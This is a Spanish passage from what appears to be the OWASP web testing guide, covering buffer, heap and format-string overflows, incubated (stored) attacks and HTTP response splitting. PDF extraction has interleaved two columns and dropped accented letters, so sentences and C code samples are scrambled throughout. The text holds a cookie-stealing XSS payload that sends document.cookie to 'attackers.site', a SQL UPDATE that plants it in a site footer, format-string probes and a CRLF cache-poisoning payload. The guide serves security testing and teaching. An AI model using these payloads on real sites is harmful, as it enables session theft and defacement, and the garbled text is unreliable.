Para conocer ms acerca de las vulnerabilidades de saturacin de bfer,
Program Files consulte las pginas de saturacin de bfer.
16/11/2006 21:12
Software Vea el artculo OWASP sobre ataques de saturacin de bfer.
24/10/2006 18:25
Setup Vea el artculo OWASP sobre vulnerabilidades de saturacin de bfer.
Cmo probar
En este caso, hemos realizado con xito un ataque de inyeccin de OS.
Diferentes tipos de vulnerabilidades de saturacin de bfer tienen
diferentes mtodos de prueba. Aqu estn los mtodos de prueba para los
tipos comunes de vulnerabilidades de saturacin de bfer.
Herramientas
OWASP ZAP

227
Pruebas de vulnerabilidad de saturacin del heap. con la saturacin de pilas de datos, ya que hay ciertas condiciones que
deben existir en el cdigo de estas vulnerabilidades para que sean
Pruebas de vulnerabilidad de saturacin de pilas de datos. explotables.
Pruebas de vulnerabilidad de cadena de formato.
Cmo probar
Revisin de cdigo Pruebas de Caja Negra
Vea el artculo de la Gua de revisin de cdigo OWASP sobre cmo Los principios de las pruebas de Caja Negra para saturacin de heap son
revisar el cdigo en busca de vulnerabilidades por saturacin de heap o los mismos que se utilizan para la saturacin de pilas de datos. La clave
bfer. est en introducir cadenas de entrada que sean ms largas de lo esperado.
Aunque el proceso de prueba sigue siendo el mismo, los resultados que
son visibles en el depurador son significativamente diferentes. Mientras
que, en el caso de una saturacin de pila de datos, una instruccin de
puntero o sobreescritura SEH sera evidente; esto no sucede en una
condicin de saturacin de heap.
Remediacin
Vea el artculo de la Gua de desarrollo OWASP sobre cmo evitar

vulnerabilidades de saturacin de bfer. Al depurar un programa para Windows, una saturacin de heap puede
aparecer en varias formas diferentes; la ms comn es un cambio de
puntero que tiene lugar despus de que entra en accin la rutina de
gestin del heap. A continuacin se muestra un escenario que ilustra una
Pruebas de saturacin de Heap
vulnerabilidad de saturacin de heap.
Resumen
En esta prueba, el evaluador de penetracin comprueba si se puede

provocar una saturacin del heap que explota un segmento de memoria.
Heap es un segmento de memoria que se utiliza para almacenar datos

dinmicamente asignados y variables globales. Cada fragmento de la
memoria en el heap consiste en etiquetas de lmite que contienen
informacin de gestin de memoria.
Cuando un bfer basado en heap se satura, se sobrescribe la informacin

de control en estas etiquetas. Cuando la rutina de gestin del heap libera
el bfer, una sobrescritura de la direccin de la memoria da lugar a una
infraccin de acceso. Cuando la saturacin se ejecuta de manera
controlada, la vulnerabilidad permitir a un adversario sobrescribir en
una ubicacin de memoria deseada con un valor controlado por el
usuario. En la prctica, un atacante podr sobrescribir funciones de
Los dos registros que se muestran, EAX y ECX, se pueden rellenar con
direccin y varias direcciones almacenadas en estructuras como GOT,
direcciones del usuario que forman parte de los datos que se utilizan para
.dtors o TEB con la direccin de una carga maliciosa til.
saturar el bfer heap. Una de las direcciones puede apuntar a un puntero
de funcin que debe ser sobreescrito, por ejemplo UEF (Unhandled
Exception filter) (filtro de excepcin no controlada), y el otro puede ser la
direccin del cdigo del usuario que necesita ejecutarse.
Hay numerosas variantes de la vulnerabilidad de saturacin de heap
(corrupcin del heap) que puede permitir cualquier cosa, desde
sobrescribir punteros de funcin a la explotacin de las estructuras de
gestin de memoria para la ejecucin de cdigo arbitrario. Localizar la
saturacin de heap requiere una revisin ms detallada en comparacin
228
Cuando se ejecutan las instrucciones de MOV que se muestran en el panel

int main(int argc, char *argv[])
izquierdo, la sobrescritura ocurre y, cuando se contacta con la funcin, se
ejecuta el cdigo de usuario. Como se mencion anteriormente, otros
{
mtodos para probar dichas vulnerabilidades incluyen la ingeniera
inversa de las aplicaciones binarias, que es un proceso complejo y
tedioso, donde se utilizan tcnicas de difuminacin (fuzzing).
vulnerable(argv[1]);
return 0;
Al revisar el cdigo, uno debe darse cuenta que hay varias vas por donde
}
las vulnerabilidades asociadas con los heaps pueden surgir. Un cdigo
aparentemente inofensivo a primera vista puede ser vulnerable bajo
ciertas condiciones. Puesto que hay distintas variaciones de esta
vulnerabilidad, cubriremos slo los temas que son predominantes.
int vulnerable(char *buf)
La mayora de las veces, los bufers heap son considerados seguros por {
muchos desarrolladores que no dudan en realizar operaciones inseguras
como strcpy () en ellos. El mito de que una saturacin de pila de datos y la
instruccin de sobrescribir el puntero son los nicos medios para
HANDLE hp = HeapCreate(0, 0, 0);
ejecutar un cdigo arbitrario resulta peligroso en caso del cdigo que se
muestra a continuacin:
HLOCAL chunk = HeapAlloc(hp, 0, 260);
strcpy(chunk, buf); Vulnerability
En este caso, si buf excede los 260 bytes, se sobreescriben los punteros a
la etiqueta de lmite adyacente, facilitando la sobrescritura de una
ubicacin de memoria arbitraria con cuatro bytes de datos una vez que
comienza la rutina heap de almacenamiento dinmico.
Recientemente, varios productos, especialmente las bibliotecas de

antivirus, han sido afectados por variantes que son combinaciones de una
saturacin de nmeros enteros y copia de operaciones en un bfer de
heap. Como ejemplo, considere un fragmento de cdigo vulnerable, una
parte del cdigo responsable de procesar los tipos de archivo TNEF, de
Clam Anti Virus 0.86.1,
source file tnef.c and function tnef_message( ):

229
David Litchfield: Windows Heap Overflows:

string = cli_malloc(length + 1); Vulnerability
www.blackhat.com
if(fread(string, 1, length, fp) != length) { Vulnerability
free(string);
Probar la saturacin de pila de datos
return -1;
Resumen
}
La saturacin de pila de datos se produce cuando se copian datos de
El malloc en la lnea 1 asigna memoria basada en el valor de la longitud, el
tamao variable en bferes de longitud ubicados en la pila de datos del
cual coincide con un entero de 32 bits. En este ejemplo particular, la
programa sin ninguna comprobacin de los lmites.
longitud es controlable por el usuario y se puede fabricar un archivo
TNEF malicioso para ajustar la longitud a '-1', que dara como resultado
malloc (0). Por lo tanto, este malloc asignara un bfer heap pequeo, que
sera de 16 bytes en la mayora de las plataformas de 32 bits (como se Las vulnerabilidades de esta clase se consideran generalmente de alta
indica en malloc.h). severidad, ya que su explotacin permitira, sobre todo, la ejecucin de
cdigo arbitrario o negacin de servicio. Aunque rara vez se encuentra en
plataformas interpretadas, el cdigo escrito en C y lenguajes similares es,
a menudo, montado con instancias de esta vulnerabilidad. De hecho, casi
Y ahora, en la lnea 2, una saturacin de heap se produce en la llamada a
todas las plataformas son vulnerables a saturacin de pila de datos con
fread (). El tercer argumento, en este caso la longitud, se espera que sea
las siguientes excepciones notables:
una variable de size_t. Pero si va a ser '-1', el argumento envuelve a
0xFFFFFFFF, copiando as 0xFFFFFFFF bytes en el bfer de 16 bytes.
J2EE siempre y cuando no se invoquen mtodos nativos o comunicacin

con el sistema
Las herramientas de anlisis de cdigo esttico tambin pueden ayudar
en la localizacin de vulnerabilidades de heap tales como double free .NET siempre que el cdigo inseguro o no administrado no sea invocado
etc. Una variedad de herramientas como las RATS, Flawfinder y ITS4 (tal como el usado en P/Invoke or COM Interop)
estn disponibles para el anlisis de lenguajes de estilo C.
PHP mientras que no se comuniquen con los programas externos y las
extensiones PHP vulnerables escritas en C o C++ las cuales pueden sufrir de
saturacin de pila de datos.
Herramientas
OllyDbg: Un depurador basado en windows utilizado para el anlisis de

vulnerabilidades de saturacin de bfer: ollydbg.de Las vulnerabilidades de saturacin de pila de datos a menudo permiten a
un atacante tomar directamente el control del puntero de instruccin y,
Spike, un fuzzer framework que puede utilizarse para explorar las
por lo tanto, alterar la ejecucin del programa y ejecutar el cdigo
vulnerabilidades y realizar pruebas largas: immunitysec.com
arbitrario. Adems de sobrescribir el puntero de instruccin, resultados
similares tambin se pueden obtener sobreescribiendo otras variables y
Brute Force Binary Tester (BFB), un controlador binario proactivo:
estructuras, como los controladores de excepciones, que se encuentran en
la pila de datos.
bfbtester.sourceforge.net
Metasploit, un framework de desarrollo, explotacin y evaluacin rpido:

metasploit.com
Cmo probar

Referencias
La clave para probar las vulnerabilidades de saturacin de pila de datos
de una aplicacin es suministrando datos demasiado grandes en
Libros Blancos
comparacin con los esperados. Sin embargo, someter la aplicacin a
w00w00: Heap Overflow Tutorial: cgsecurity.org datos arbitrariamente grandes no es suficiente. Es necesario inspeccionar
el flujo de ejecucin de la aplicacin y las respuestas para determinar si
una saturacin se ha disparado realmente o no. Por lo tanto, los pasos
230
necesarios para localizar y validar saturaciones de pila de datos sera

asociar un depurador a la aplicacin de destino o al proceso, generar
ingresos con formato incorrecto en la aplicacin, exponer la aplicacin a Puesto que la aplicacin est esperando argumentos de comandos de
los datos malformados y revisar las respuestas en un depurador. El lnea, una larga secuencia de 'A' puede suministrarse en el campo de
depurador permite al evaluador ver el flujo de ejecucin y el estado de argumentos como se muestra arriba.
los registros cuando la vulnerabilidad se activa.
Al abrir el ejecutable con los argumentos suministrados y continuar

Por otra parte, una forma ms pasiva para probar puede ser empleada; corriendo la aplicacin se obtienen los siguientes resultados:
esta consiste en inspeccionar el cdigo de ensamble de la aplicacin
usando desensambladores. En este caso, se analizarn varias secciones en
busca de firmas de fragmentos de ensamble vulnerables. Esto se
denomina comnmente ingeniera inversa y es un proceso tedioso.
Un ejemplo simple: considere la siguiente tcnica empleada durante la

prueba de un "sample.exe" ejecutable para saturacin de pila de datos:
#include<stdio.h>
int main(int argc, char *argv[])
char buff[20];
printf(copying into buffer);
strcpy(buff,argv[1]);
return 0;
Como se muestra en la ventana de registros del depurador, el EIP o

Extended Instruction Pointer, que apunta a la siguiente instruccin a
ejecutarse, contiene el valor '41414141'. '41' que es una representacin
El archivo sample.exe se corre en un depurador, en nuestro caso OllyDbg. hexadecimal para el carcter 'A' y, por lo tanto, la cadena 'AAAA' se
traduce a 41414141.
Esto demuestra claramente cmo se puede utilizar el ingreso de datos

para sobrescribir el puntero de instruccin con los valores suministrados
por el usuario y el control de ejecucin del programa. Una saturacin de
pila de datos tambin puede permitir la sobrescritura de estructuras
basadas en pilas de datos como SEH (Structured Exception Handler, en
espaol: controlador de excepciones estructurado) para controlar la
ejecucin de cdigo y esquivar algunos mecanismos de proteccin de
apilamiento.
Como se mencion anteriormente, otros mtodos para probar dichas

vulnerabilidades incluyen utilizar ingeniera inversa en los binarios de la

231
aplicacin, el cual es un proceso complejo y tedioso y utiliza tcnicas de El uso, relativamente ms seguro, de strncpy()tambin puede llevar a una
difuminacin (fuzzing). saturacin de cmulo de datos, ya que slo restringe el nmero de bytes
copiados en el bfer de destino. Si el argumento de tamao que se utiliza para
lograr esto se genera dinmicamente basado en los datos ingresados por el
usuario o no se calcula exactamente dentro de la trayectoria, es posible la
Pruebas de Caja Gris saturacin de bferes de cmulo de datos. Por ejemplo:
Al revisar el cdigo en busca de una saturacin de cmulo de datos, es

aconsejable buscar comunicaciones con funciones de bibliotecas inseguras void func(char *source)
como gets(), strcpy(), strcat() etc. que no validan la longitud de cadenas de
fuente y copian ciegamente datos en bferes de tamao fijo. {
Por ejemplo, considere la siguiente funcin: Char dest[40];

void log_create(int severity, char *inpt) {
size=strlen(source)+1
char b[1024];
.
strncpy(dest,source,size)
}
if (severity == 1)
Donde la fuente son datos controlables por el usuario. Un buen ejemplo seria
{ la vulnerabilidad de saturacin de pila de datos samba trans2open.
(http://www.securityfocus.com/archive/1/317615).
strcat(b,Error occurred on);
strcat(b,:);
Las vulnerabilidades tambin pueden aparecer en la URL y desde el cdigo de
strcat(b,inpt); anlisis de direccin. En tales casos, una funcin como memccpy() es
generalmente empleada, ya que copia los datos en un bfer de destino desde la
fuente mientras no se encuentre un carcter especificado. Considere la
funcin:
FILE *fd = fopen (logfile.log, a); void func(char *path)
fprintf(fd, %s, b); {
fclose(fd); char servaddr[40];
memccpy(servaddr,path,\);
.
De lo anterior, la lnea strcat(b,inpt) dar lugar a una saturacin de cmulo de
datos si inpt excede los 1024 bytes. Esto no slo demuestra el uso inseguro de
strcat, tambin muestra lo importante que es examinar la longitud de las
secuencias a las que hace referencia un puntero de carcter que se pasa como
argumento a una funcin, en este caso, la longitud de cadena referenciada por
char *inpt. Por lo tanto, siempre es una buena idea rastrear la fuente de los En este caso, la informacin contenida en la ruta de acceso podra ser
argumentos de la funcin y determinar longitudes de cadena al revisar el mayor a 40 bytes antes de que '\' pueda encontrarse. Si esto ocurre , se
cdigo. provocar una saturacin de pila de datos.

232
Una vulnerabilidad similar se encuentra en el subsistema de Windows Esta seccin describe cmo probar ataques de cadena de formato que
RPCSS (MS03-026). El cdigo vulnerable copi los nombres de rutas de pueden utilizarse para bloquear un programa o ejecutar un cdigo
acceso UNC del servidor en un bfer de tamao fijo, hasta que un '\' fue daino. El problema surge por la utilizacin de datos ingresados por el
encontrado. La longitud del nombre del servidor, en este caso, era usuario, que no han sido filtrados, como el parmetro de formato de
controlable por los usuarios. cadena en ciertas funciones C que realizan el formateo, como printf().
Aparte de revisar manualmente el cdigo de saturacin de pila de datos, Varios lenguajes de estilo C disponen de un formato de salida por medio
tambin pueden ser de gran ayuda las herramientas de anlisis esttico de funciones como printf (), fprintf () etc..
del cdigo. Aunque tienden a generar muchos falsos positivos y apenas
seran capaces de localizar una pequea porcin de defectos, sin duda El formateo se rige a un parmetro de estas funciones como un
ayudan a reducir la sobrecarga asociada con la bsquedas sencillas, como especificador del tipo de formato, normalmente %s, %c etc.. La
los bugs strcpy() y sprintf(). vulnerabilidad se presenta cuando se contactan funciones de formato que
tienen una inadecuada validacin de parmetros y datos controlados por
el usuario.
Una variedad de herramientas como RATS, Flawfinder y ITS4 estn

disponibles para analizar lenguajes de estilo C.
Un ejemplo simple sera printf(argv[1]). En este caso, el especificador de
tipo no ha sido explcitamente declarado, lo que permite a un usuario
pasar caracteres como %s, %n, %x a la aplicacin, por medio de una lnea
Herramientas de comandos de argumento argv [1].
OllyDbg: Un depurador basado en windows, utilizado para el anlisis de

vulnerabilidades de saturacin de bfer: ollydbg.de
Esta situacin tiende a ser precaria ya que un usuario que puede
Spike, un fuzzer framework que puede utilizarse para explorar las suministrar especificadores de formato, puede realizar las siguientes
vulnerabilidades y realizar pruebas largas: immunitysec.com acciones maliciosas:
Brute Force Binary Tester (BFB), un controlador binario

proactivo:bfbtester.sourceforge.net
Enumerar el proceso de la pila de datos: Esto permite a un adversario
Metasploit, un framework de desarrollo, explotacin y evaluacin rpido: ver la organizacin del proceso vulnerable de apilamiento, mediante el
metasploit.com suministro de cadenas de formato como, %x o %p, que puede conducir a
la fuga de informacin sensible. Tambin puede ser utilizado para extraer
valores de "canario" cuando la aplicacin est protegida con un
mecanismo de seguridad para la pila de datos. Junto con una saturacin
Referencias
de pila de datos, esta informacin puede utilizarse para saltarse el
protector de apilamiento.
Libros Blancos
Aleph One: Smashing the Stack for Fun and Profit: insecure.org
Control del flujo de ejecucin: Esta vulnerabilidad tambin puede

The Samba trans2open stack overflow vulnerability: securityfocus.com
facilitar la ejecucin de cdigo arbitrario, ya que permite escribir cuatro
Windows RPC DCOM vulnerability details: xfocus.org bytes de datos en una direccin suministrada por el adversario. El
especificador %n es til para sobrescribir varios punteros de funcin en
http://www.xfocus. la memoria con la direccin de la carga maliciosa. Cuando se contactan
estos punteros de funcin sobrescritos, al ejecutarse pasan el cdigo
org/documents/200307/2.html malicioso.
Pruebas para la cadena de formato Negacin de servicio: Si el adversario no est en condiciones de

suministrar cdigo malicioso para su ejecucin, la aplicacin vulnerable
Resumen puede ser bloqueada suministrando una secuencia de %x seguido de %n.

233
Cmo probar printf(The string entered is\n);
Pruebas de Caja Negra printf(%s,argv[1]);
La clave para probar las vulnerabilidades de cadena de formato es return 0;

suministrar especificadores del tipo de formato al ingresar a la aplicacin.
}
Cuando se examina el desmontaje utilizando IDA Pro, la direccin de un

Por ejemplo, considere una aplicacin que procesa la cadena URL especificador de tipo de formato es insertada en la pila y es claramente visible antes
http://xyzhost.com/html/en/index.htm o acepta ingresos desde de contactar a printf.
formularios. Si existe una vulnerabilidad de cadena de formato en una de
las rutinas que procesan esta informacin, suministra una direccin URL
como http://xyzhost.com/html/en/index.htm%n%n%n o pasa %n en uno
de los campos del formulario, podra bloquear la aplicacin y crear un
volcado de memoria en la carpeta de alojamiento.
Las vulnerabilidades de cadena de formato se manifiestan principalmente

en servidores web, servidores de aplicaciones o aplicaciones web que
utilizan cdigo basado en C y C++ o scripts CGI escritos en C. En la
mayora de estos casos, un informe de errores o la funcin de registro
como syslog () han sido contactados de una manera insegura.
Al probar los scripts CGI en busca de vulnerabilidades de cadena de

formato, los parmetros de entrada pueden ser manipulados para incluir
especificadores de tipo %x o %n. Por ejemplo una solicitud legtima
como: Por otro lado, cuando se compila el mismo cdigo sin "%s" como un argumento, la
variacin en el montaje es evidente. Como se ve abajo, no hay ninguna
http://hostname/cgi-bin/query.cgi?name=john&code=45765 compensacin (offset) que se inserte en la pila antes de contactar a printf.
puede ser alterada a
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x
Si existe una vulnerabilidad de cadena de formato en el procesamiento

rutinario de este solicitud, el evaluador podr ver los datos de la pila que
se imprimen en el navegador.
Si el cdigo no est disponible, el proceso de revisar los fragmentos del

ensamblaje (tambin conocido como ingeniera inversa binaria) rendira Pruebas de Caja Negra
informacin sustancial acerca de errores en la cadena de formato.
Mientras se ejecutan las revisiones de cdigo, casi todas las
Tome el ejemplo del cdigo (1): vulnerabilidades de cadena de formato pueden detectarse con el uso de
herramientas de anlisis de cdigo esttico. Someter al cdigo que se
int main(int argc, char **argv)

234
muestra en (1) a ITS4, que es una herramienta de anlisis de cdigo

esttico, da el siguiente resultado:
Referencias
Libros Blancos
Format functions manual page: die.net
Tim Newsham: A paper on format string attacks:
thenewsh.com
Team Teso: Exploiting Format String Vulnerabilities:
julianor.tripod.com
Analysis of format string bugs: www.cis.syr.edu
Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015)

Las funciones que son principalmente responsables de vulnerabilidades
de cadena de formato son las que tratan los especificadores de formato
Resumen
como opcionales. Por lo tanto, al revisar manualmente el cdigo, puede
hacerse hincapi en funciones tales como:
Tambin conocidos como ataques persistentes, la prueba de incubacin
es un mtodo de prueba complejo que necesita ms de una vulnerabilidad
printf
de validacin de datos para que funcione. Las vulnerabilidades incubadas
se utilizan tpicamente para llevar a cabo ataques de "abrevadero" contra
fprintf
usuarios legtimos de aplicaciones web.
sprintf
Las vulnerabilidades incubadas tienen las siguientes caractersticas:
snprintf
vfprintf
En primer lugar, el vector de ataque debe ser constante y debe almacenarse
vprintf en la capa de persistencia. Esto ocurrir nicamente si una validacin de
datos dbil est presente o los datos llegaron al sistema a travs de otro canal
vsprintf como una consola de administracin o directamente a travs de un proceso de
datos restringidos.
vsnprintf
Segundo, una vez que el vector de ataque ha sido "contactado", este necesita
Puede haber varias funciones de formateo que son especficas en la ejecutarse de una manera satisfactoria. Por ejemplo, un ataque XSS incubado
plataforma de desarrollo. Esto tambin debe revisarse en busca de la requiere una validacin de salida de datos dbil para que el script pueda ser
ausencia de cadenas de formato, una vez que se ha entendido su entregado al cliente de una manera ejecutable.
argumento de uso.
La explotacin de algunas vulnerabilidades, o incluso caractersticas

Herramientas funcionales de una aplicacin web, permitir a un atacante plantar una seccin
de datos que ms tarde se recuperar mediante un usuario desprevenido u otro
ITS4: Una herramienta de anlisis esttico del cdigo para la identificacin componente del sistema, explotando as alguna vulnerabilidad.
de vulnerabilidades de cadenas de formato con cdigo fuente: cigital.com
Un constructor de cadenas de explotacin para errores de formato:

seclists.org En una prueba de penetracin, los ataques incubados pueden utilizarse para
evaluar la importancia de ciertos errores, utilizando el tema de la seguridad

235
particular que encontr para construir un ataque basado en el lado del cliente; pgina resultante o descargue y ejecute el archivo desde el sitio de
este se utiliza generalmente para atacar a un gran nmero de vctimas al confianza.
mismo tiempo (es decir, a todos los usuarios que navegan por el sitio).
Ejemplo de XSS en una cartelera

Este tipo de ataque asncrono cubre un gran espectro de vectores de
ataque, entre ellos los siguientes: [1] Introduzca el cdigo JavaScript como el valor para el campo
vulnerable, por ejemplo:
<script>document.write(<img
Los componentes de carga de archivos en una aplicacin web permiten al src=http://attackers.site/cv.jpg?+document.cookie+>)</script>
atacante subir archivos corrompidos (imgenes jpg imgenes que explotan CVE-
2004-0200, imgenes png que explotan CVE-2004-0597, archivos ejecutables,
pginas de sitios con componentes activos, etc.).
[2] Dirija a los usuarios a navegar por la pgina vulnerable o espere a que
los usuarios naveguen. Tenga un "oyente" en el servidor anfitrin del sitio
del lado del atacante.para escuchar todas las conexiones entrantes.
Asuntos de cross-site scripting de publicaciones en foros pblicos (vea Pruebas
para Cross site scripting almacenados (OTG-INPVAL-002) para mayor detalle). [3] Cuando los usuarios navegan por la pgina vulnerable, una solicitud
Un atacante podra potencialmente almacenar secuencias de comandos que contiene su cookie (document.cookie se incluye como parte de la URL
malintencionados o el cdigo en un repositorio en el servidor restringido de la solicitada) ser enviada al servidor anfitrin del sitio del atacante, como
aplicacin web (por ejemplo, una base de datos) para que este cdigo de script los siguientes:
se ejecute mediante uno de los usuarios (los usuarios finales, administradores,
etc.). El ataque incubado arquetpico es ejemplificado por una vulnerabilidad de - GET
cross site scripting en un foro de usuarios, cartelera o blog para inyectar cdigo /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
JavaScript en la pgina vulnerable y ser eventualmente procesado y ejecutado
en el navegador del usuario del sitio utilizando el nivel de confianza del sitio %20JSESSIONID=ADIFFERENTVALUE:-
(vulnerable) original en el navegador del usuario. 1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
La inyeccin SQL/XPATH permite al atacante subir contenido a una base de

datos, que ser ms tarde recuperado como parte de los contenidos activos en
una pgina web. Por ejemplo, si el atacante puede publicar JavaScript arbitrario [4] Use cookies obtenidas para personificar a los usuarios en el sitio
en una cartelera para que se ejecute por los usuarios, luego l podra tomar el vulnerable.
control de su navegador (por ejemplo, XSS-proxy).
Ejemplo de inyeccin SQL

Servidores mal configurados que permiten la instalacin de paquetes de Java o
componentes similares del sitio web (es decir Tomcat o consolas de alojamiento Por lo general, este conjunto de ejemplos aprovecha ataques de XSS
de web tales como Plesk, CPanel, Helm, etc.) explotando una vulnerabilidad de inyeccin SQL. Lo primero que se
comprueba es si el sitio de destino tiene una vulnerabilidad de inyeccin
SQL. Esto se describe en la seccin 4.2 para probar la inyeccin de SQL.
Para cada vulnerabilidad de inyeccin SQL, hay un conjunto subyacente
Cmo probar
de restricciones que describe el tipo de consultas que el atacante o
evaluador de edicin puede hacer.
Ejemplo de carga de archivos

Entonces, el evaluador tiene que comparar los ataques XSS que ha ideado
Verifique el tipo de contenido que se permite subir a la aplicacin web y
con los ingresos permitidos
la URL resultante para el archivo cargado. Cargue un archivo que explote
un componente en la estacin de trabajo de usuario local cuando se
consulten o descarguen por parte del usuario. Enve a su vctima un email
u otro tipo de alerta para dirigirlo a navegar por la pgina. El resultado
esperado es que se active la explotacin cuando el usuario navegue por la

236
[1] De manera similar al anterior ejemplo de XSS, utilice un campo de Como tambin debera ser obvio, la habilidad de cambiar el contenido de
pgina web vulnerable a problemas de inyeccin SQL para cambiar un la pgina web en el servidor a travs de cualquier vulnerabilidad que
valor en la base de datos que se utilizara por la aplicacin como ingresos puede ser explotable en el host dar al atacante permisos de escritura en
que se muestran en el sitio sin la filtracin adecuada (esto sera una el webroot, y tambin ser til cuando se quiera plantar un ataque
combinacin de una inyeccin de SQL y un problema XSS). incubado semejante en las pginas del servidor web (en realidad, se trata
de un mtodo de propagacin de la infeccin conocido para algunos
gusanos de servidores web).
Por ejemplo, supongamos que hay un pie de pgina en la base de datos Pruebas de Caja Gris
con todos los pies de pgina para las pginas del sitio web, incluyendo un
campo de nota con el aviso legal que aparece en la parte inferior de cada Las tcnicas de pruebas gris/blancas sern las mismas que se discutieron
pgina web. Puede utilizar la siguiente consulta para inyectar cdigo previamente.
JavaScript en el campo de avisos en el pie de pgina en la base de datos.
SELECT field1, field2, field3

Examinar la validacin de datos ingresados es clave para mitigar esta
FROM table_x vulnerabilidad. Si otros sistemas en la empresa utilizan la misma capa de
persistencia, tienen una validacin dbil de ingresos y los datos pueden
WHERE field2 = x; persistir a travs de una puerta trasera.
UPDATE footer
SET notice = Copyright 1999-2030%20 Para combatir el problema de la "puerta trasera" en ataques del lado del
cliente, la validacin de salida debe ser empleada para que los datos
<script>document.write(\<img contaminados sean codificados antes de mostrarlos al cliente y, por lo tanto,
src=http://attackers.site/cv.jpg?\+document.cookie+\>\)</script> no se ejecuten.
WHERE notice = Copyright 1999-2030;
Vea la seccin de Validacin de Datos de la guia de revisin de cdigo.
[2] Ahora, cada usuario que navegue por el sitio enviar silenciosamente
sus cookies al sitio del atacante (pasos b.2 al b.4).
Herramientas
XSS-proxy: sourceforge.net
Servidor mal configurado
Paros: parosproxy.org
Algunos servidores web presentan una interfaz de administracin que
Burp Suite: portswigger.net
puede permitir a un atacante cargar componentes activos de su eleccin
en el sitio. Esto podra ser el caso con un servidor Apache Tomcat que no
Metasploit: metasploit.com
obliga a utilizar credenciales fuertes para acceder a su gestor de
aplicaciones web (o si los evaluadores de edicin han sido capaces de
obtener credenciales vlidas para el mdulo de administracin por otros
medios). Referencias
La mayora de las referencias de la seccin de Cross-site scripting son vlidas.

Como se explic anteriormente, los ataques incubados se ejecutan al combinar
En este caso, puede cargarse un archivo WAR y una nueva aplicacin web explotaciones como XSS o ataques de inyeccin SQL.
desplegarse en el sitio, que no slo permita al evaluador de edicin
ejecutar localmente el cdigo a su eleccin en el servidor, sino tambin
para plantar una aplicacin en el sitio de confianza, al que los usuarios
regulares del sitio puedan acceder (probablemente con un mayor grado Advertencias
de confianza que al acceder a un sitio diferente).
CERT(R) Advisory CA-2000-02 Malicious HTML Tags
Embedded in Client Web Requests: cert.org

237
Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site ms sencillo es proporcionado por las redirecciones en las que la direccin
URL de destino depende de algn valor enviado por el usuario.
scripting vulnerability: archives.neohapsis.com
Digamos, por ejemplo, que al usuario se le pide que elija si l o ella

Libros Blancos prefiere una interfaz web estndar o avanzada. La eleccin se pasa como
un parmetro que se utilizar en el encabezado de respuesta para activar
Web Application Security Consortium Threat Classification, la redireccin a la pgina correspondiente.
Cross-site scripting: webappsec.org
Ms especficamente, si el parmetro 'interface' tiene el valor 'avanzado',

la aplicacin responder de la siguiente manera:
Pruebas para verificar la separacin/contrabando de HTTP (OTG-
INPVAL-016) HTTP/1.1 302 Moved Temporarily
Resumen Date: Sun, 03 Dec 2005 16:22:19 GMT
Esta seccin ilustra ejemplos de ataques que aprovechan caractersticas Location: http://victim.com/main.jsp?interface=advanced
especficas del protocolo HTTP, ya sea mediante la explotacin de las
debilidades de la aplicacin web o peculiaridades, en la manera en que los <snip>
diferentes agentes interpretan los mensajes HTTP.
Al recibir este mensaje, el navegador llevar al usuario a la pgina
indicada en el encabezado de ubicacin. Sin embargo, si la aplicacin no
filtra la entrada de usuario, ser posible introducir en el parmetro de la
Esta seccin analizar dos diferentes ataques dirigidos a encabezados
'interfaz' la secuencia %0d%0a, que representa la secuencia CRLF que se
HTTP especficos:
utiliza para separar lneas.
Separacin HTTP (HTTP splitting)
Contrabando HTTP (HTTP smuggling)

En este punto, los evaluadores sern capaces de desencadenar una
respuesta que se interpreta como dos diferentes respuestas para
El primer ataque explota la falta de desinfeccin de datos ingresados que
cualquiera que analiza, por ejemplo un cach web ubicado entre nosotros
permite a un intruso insertar caracteres CR y LF en los encabezados de la
y la aplicacin. Un atacante puede aprovechar esto para envenenar este
respuesta de la aplicacin y 'separar' la respuesta en dos mensajes HTTP
cach web que proporcionar contenido falso en todas las solicitudes
diferentes. El objetivo del ataque puede variar desde un envenenamiento del
subsiguientes.
cach hasta un cross site scripting.
Digamos que en el ejemplo anterior el evaluador pasa los siguientes datos

En el segundo ataque, el atacante explota el hecho de que algunos mensajes
HTTP especialmente diseados pueden ser analizados e interpretados de como el parmetro de la interfaz:
diferentes maneras segn el agente que las reciba. El contrabando de HTTP
advanced%0d%0aContent-
requiere cierto nivel de conocimiento sobre los diferentes agentes que estn
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
manejando los mensajes HTTP (servidor web, proxy, firewall) y, por lo tanto,
se incluirn solamente en la seccin de prueba de Caja Gris.
Type:%20text/html%0d%0aContent-
Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
Cmo probar
Pruebas de Caja Negra La respuesta resultante de la aplicacin vulnerable ser, en consecuencia, la

siguiente:
Separacin HTTP
HTTP/1.1 302 Moved Temporarily
Algunas aplicaciones web usan parte de los datos ingresados por el usuario
para generar los valores de algunos encabezados de sus respuestas. El ejemplo Date: Sun, 03 Dec 2005 16:22:19 GMT

238
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 0 [1] El evaluador de edicin debe establecer correctamente los

encabezados en la respuesta falsa para que pueda ser correctamente
procesada en cach (por ejemplo, un encabezado Last-Modified con una
fecha establecida en el futuro). l o ella tambin podran tener que
HTTP/1.1 200 OK destruir previamente las versiones de los localizadores de destino
almacenados en memoria cach, mediante la emisin de una solicitud
Content-Type: text/html preliminar con "Pragma: no-cache" en los encabezados de solicitud.
Content-Length: 35
[2] La aplicacin, aunque no filtre la secuencia CR+LF, podra filtrar otros

caracteres que son necesarios para un ataque exitoso (por ejemplo, "<" y
<html>Sorry,%20System%20Down</html> ">"). En este caso, el evaluador puede intentar utilizar otras
codificaciones (por ejemplo, UTF-7).
<other data>
[3] Algunos objetivos (por ejemplo, ASP) codificarn la parte de la ruta
URL del encabezado de ubicacin (por ejemplo,
www.victim.com/redirect.asp), haciendo intil una secuencia CRLF. Sin
La cach web ver dos respuestas diferentes, as que si el atacante enva embargo, no codifican la seccin de consulta (por ejemplo,
inmediatamente despus de la primera solicitud una segunda, pidiendo ?interface=advanced), lo que significa que un signo de pregunta es
/index.html, la cach web empareja esta peticin con la segunda suficiente para evadir el filtro.
respuesta y almacena en cach su contenido, para que en todas las
solicitudes posteriores a victim.com/index.html que pasen por ese cach
web aparecer el mensaje "sistema fuera de servicio" (system down).
